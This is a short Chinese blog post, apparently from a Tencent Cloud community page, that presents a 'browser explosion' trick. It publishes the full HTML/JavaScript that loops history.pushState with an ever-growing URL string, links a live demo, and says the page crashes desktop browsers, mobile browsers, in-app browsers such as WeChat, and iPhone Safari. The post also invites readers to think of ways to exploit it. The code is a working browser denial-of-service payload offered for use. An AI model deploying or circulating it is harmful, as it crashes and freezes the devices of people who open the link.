让浏览器爆炸

Demo:https://www.yuncaioo.com/demo/baozha/

接来下会发生什么?

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死! 如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退,iPhone用Safari打开之后链接之后,手机注销重启了……

这是Bug还是0day?

为什么会有这一现象?

如何实现的?

有哪些比较有意思的利用姿势?

完整代码:

<html>
<body>
<script>
var total="";
for (var i=0;
i<1000000;i++)
{
total= total+i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>

原创文章采用CC BY-NC-SA 4.0协议进行许可,转载请注明转载自:让浏览器爆炸

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏织云平台团队的专栏

腾讯SNG全链路日志监控平台之构建挑战

全链路日志监控在现在盛行的微服务和分布式环境下,能有效地提高问题定位分析效率,成为开发和运维利器。当前已有开源解决方案和成熟的厂商提供。

1.1K0
来自专栏顶级程序员

看似简单的 Windows 记事本,其实维护起来并不简单

相信大家对 Windows 系统自带的记事本程序都不会陌生,在座的各位或许还有用它来写代码的经历。看上去它的功能非常简单,但你能否想到即便功能如此简单的程序,也...

612
来自专栏CSDN技术头条

中华万年历头条数据聚合优化之路

业务介绍 中华万年历的头条数据是根据推荐算法聚合而成的数据,包括ALS算法数据、用户画像数据、时效数据、非时效数据、定投数据、惊喜数据、频道数据、热榜数据、用户...

2178
来自专栏杨建荣的学习笔记

使用shell脚本得到MySQL实例列表

之前从主机,实例,业务,集群几个维度来完善了运维平台的元数据信息,把流程贯穿起来,也确实看到了一些好处,但是有一个点很重要,也是我们容易忽略的:有些元数...

1132
来自专栏ytkah

微信小程序新增六大能力扩大小程序使用场景

就在刚刚,微信小程序开放了一些能力,小程序又要上头条了。以下是公众平台发布的公告。为增强小程序能力,扩大小程序使用场景,现小程序新增以下能力:(2017 年 3...

2934
来自专栏Netkiller

PHP 7.0.0 一键安装脚本

OSCM (Operation System Configure Management) 是我创建的一个自动化运维脚本的项目,旨在提供敏捷运维。传统自动化运维工...

3035
来自专栏c#开发者

数据库同步设计方案

需求 目前我们公司开发的系统大部分都涉及到数据传输,简单的系统架构如下,有企业输入单证信息,提交到政府机关进行审批,将审批的结果返回到企业端,由于企业客户端系...

43911
来自专栏Youngxj

[软件]mypcqq机器人最新框架分享

2544
来自专栏逸鹏说道

.Net 分布式云平台基础服务建设说明概要

.Net 分布式云平台基础服务建设说明概要 1) 背景 建设云平台的基础框架,用于支持各类云服务的业务的构建及发展。 2) 基础服务 根据目前对业务的理解和...

3738
来自专栏王磊的博客

服务端接口中的那些坑

TOP1:版本意识与兼容性问题。    对于一个好的程序员来说,思考的时间>=写代码的时间,如果思路不对写的代码越多,错的也越多,任何时候思考是保证高效工作最省...

4105

扫码关注云+社区